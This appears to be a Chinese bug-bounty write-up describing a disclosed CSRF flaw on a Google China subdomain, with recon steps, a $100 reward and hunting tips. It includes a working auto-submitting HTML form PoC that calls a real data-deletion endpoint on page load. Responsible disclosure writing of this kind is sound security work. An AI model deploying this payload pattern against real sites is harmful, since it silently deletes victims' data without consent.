SRC实战 | 谷歌某处CSRF漏洞可删用户数据的实战案例思路分享
0x01 前言
本文是本人于前两年在谷歌业务发现的漏洞思路,漏洞已经获得谷歌团队许可公开分享,本文仅做漏洞技术思路分享。平台漏洞原文记录链接如下,感兴趣可以去看看:
https://bughunters.google.com/reports/vrp/XWTAskrht
0x02 漏洞挖掘思路
先通过信息收集,发现谷歌在中国业务有以下的域名资产
googlecnapps.cn
通过子域名收集发现

存在以下子域名
https://exporteducationprogram.googlecnapps.cn/training/home
访问该业务,登录后,发现存在删除用户数据内容功能

抓包,点击删除数据,数据包如下

发现没有做csrf漏洞攻击的限制,生成poc代码,实现其他用户加载这个页面就自动请求这个删除用户数据的接口,构造以下poc:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://exporteducationprogram.googlecnapps.cn/appacademy/api/clear" method="POST">
<input id="submit0" type="submit" value="Submit request" />
<script> window.onload=function(){
document.getElementById("submit0").click();
}
</script>
</form>
</html>
漏洞利用场景及危害
用户访问部署poc的页面即可删除用户数据,如课程学习进度数据在本网站将被删除,会给用户带来不好的体验。
0x03 谷歌的回应
🎉 Nice catch! ,后续就是给了100$.

0x04 总结
挖国外企业漏洞,可以关注其在国内是否有业务,如果有可以挖一下对应的web、小程序、app、iot资产,这种一般国外的白帽挖的不多,容易产出。
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
